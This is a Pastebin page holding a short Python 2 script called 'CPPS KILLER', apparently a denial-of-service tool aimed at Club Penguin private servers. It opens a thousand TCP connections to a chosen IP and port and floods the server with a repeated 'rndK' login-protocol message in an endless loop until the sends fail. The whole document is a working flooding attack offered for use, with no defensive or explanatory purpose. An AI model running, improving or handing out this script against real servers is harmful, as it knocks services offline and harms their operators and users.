Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- """
- CPPS KILLER
- Coded by Donny
- """
- import socket, time
- class Killer:
- def Create(self):
- self.socks_arr = []
- for k in range(self.no):
- self.socks_arr.append(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
- print "Created %s sockets!" % (str(k))
- def Send(self, sock):
- try:
- sock.send(self.data)
- return True
- except:
- return False
- def Connect(self, sock):
- try:
- sock.connect((self.ip, self.port))
- return True
- except:
- return False
- def __init__(self):
- print """\t\t
- ____ ____ ____ ____ _ _____ _ _ _____ ____
- / ___| _ \| _ \/ ___| | |/ |_ _| | | | | ____| _ \
- | | | |_) | |_) \___ \ | ' / | || | | | | _| | |_) |
- | |___| __/| __/ ___) | | . \ | || |___| |___| |___| _ <
- \____|_| |_| |____/ |_|\_|___|_____|_____|_____|_| \_\\
- """
- time.sleep(3)
- self.no = 1000 #Number of sockets
- self.port = 80 #Port
- self.ip = '127.0.0.1' #IP
- self.data = "<msg t='sys'><body action='rndK' r='-1'></body></msg>" + chr(0)
- self.run = True
- self.count = 0
- self.Create()
- for k in range(len(self.socks_arr)):
- if self.Connect(self.socks_arr[k]) is True:
- print "Socket %s connected to host!" % (str(k + 1))
- else:
- print "Socket %s couldn\'t connect to host!" % (str(k + 1))
- self.run = False
- break
- while self.run == True:
- for i in range(len(self.socks_arr)):
- if self.Send(self.socks_arr[i]) is True:
- print "Socket %s sent message to host!" % (str(i + 1))
- self.count += 1
- else:
- print "Socket %s couldn't sent message to host!" % (str(i + 1))
- self.run = False
- print "Number of packets sent => %s" % (str(self.count))
- Killer()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement